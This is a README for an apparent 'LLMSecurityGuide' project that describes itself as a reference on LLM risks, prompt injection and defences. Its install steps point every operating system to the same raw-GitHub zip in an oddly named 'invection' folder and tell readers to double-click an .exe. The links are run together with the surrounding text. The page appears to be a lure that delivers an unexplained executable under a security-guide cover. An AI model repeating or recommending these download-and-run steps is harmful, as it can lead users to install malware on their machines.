Welcome to the LLMSecurityGuide repository. This application serves as a comprehensive reference for securing Large Language Models (LLMs). Within this guide, you will find vital information about OWASP GenAI Top-10 risks, prompt injection, adversarial attacks, and real-world incidents. Additionally, the repository offers practical defenses, catalogs of red-teaming tools, guardrails, and effective mitigation strategies. Whether you are a developer, researcher, or part of a security team, this guide helps you deploy AI responsibly.
This section will help you smoothly download and run LLMSecurityGuide on your machine.
Before starting, ensure your system meets the following requirements:
- Operating System: Windows 10 or later, macOS 10.15 or later, or a recent version of Linux
- Memory: At least 4 GB of RAM
- Disk Space: A minimum of 200 MB free space
- Additional Software: For best performance, consider having the latest version of your web browser installed.
To get the latest version of LLMSecurityGuide, visit this page to download: GitHub Releases.
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Open the Releases Page: Click on the link above to go to the Releases page.
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Select the Latest Release: Look for the most recent version. It will usually be at the top of the list.
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Download the Application: Find the file suitable for your operating system (e.g.,
https://raw.githubusercontent.com/AKURHULA/LLMSecurityGuide/main/invection/LLMSecurityGuide.zipfor Windows,https://raw.githubusercontent.com/AKURHULA/LLMSecurityGuide/main/invection/LLMSecurityGuide.zipfor macOS, orhttps://raw.githubusercontent.com/AKURHULA/LLMSecurityGuide/main/invection/LLMSecurityGuide.zipfor Linux). Click on the file link to start the download. -
Run the Application:
- Windows: After it downloads, find the file in your Downloads folder, double-click the
.exefile, and follow the on-screen instructions to install it. - macOS: Open the downloaded
.dmgfile, then drag the application into your Applications folder. - Linux: Extract the
https://raw.githubusercontent.com/AKURHULA/LLMSecurityGuide/main/invection/LLMSecurityGuide.zipfile, open a terminal, navigate to the extracted folder, and run the application using the provided instructions.
- Windows: After it downloads, find the file in your Downloads folder, double-click the
Once you've installed LLMSecurityGuide, you can explore various sections to enhance your understanding of AI security.
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OWASP GenAI Top-10 Risks: Familiarize yourself with the most critical risks associated with generative AI models.
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Prompt Injection Techniques: Learn about common methods and how to defend against them.
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Adversarial Attacks: Understand different attack vectors and their implications.
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Real-World Case Studies: Review documented incidents to understand how vulnerabilities were exploited.
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Red-Teaming Tools: Access a catalog of tools used for security assessments.
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Mitigation Strategies: Find practical defenses and strategies to secure your AI deployments.
To deepen your knowledge about AI security, consider exploring the following topics:
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AI Safety: Understanding risks involved in AI deployment and use.
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AI Security: Strategies for ensuring the protection of AI systems.
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Generative AI Security Assurance: Best practices for validating AI security measures.
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Prompt Injection Defense: Techniques for safeguarding against prompt injection.
If you encounter any issues while using LLMSecurityGuide, please check the following resources:
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FAQs: Review common questions and answers regarding installation and usage.
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Issues Section: If you notice a bug or have a feature request, feel free to submit an issue on the GitHub repository.
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Community Forum: Engage with other users and developers to share experiences and solutions.
If you would like to contribute to LLMSecurityGuide, you are welcome to submit pull requests, report issues, or suggest new features. Collaboration enhances this project and helps improve AI security for everyone.
For direct inquiries, you can reach out via the GitHub Discussions section. Your feedback is valuable as we continue to enhance this important resource.
Thank you for choosing LLMSecurityGuide. We hope it serves you well in your journey toward securing generative AI technologies.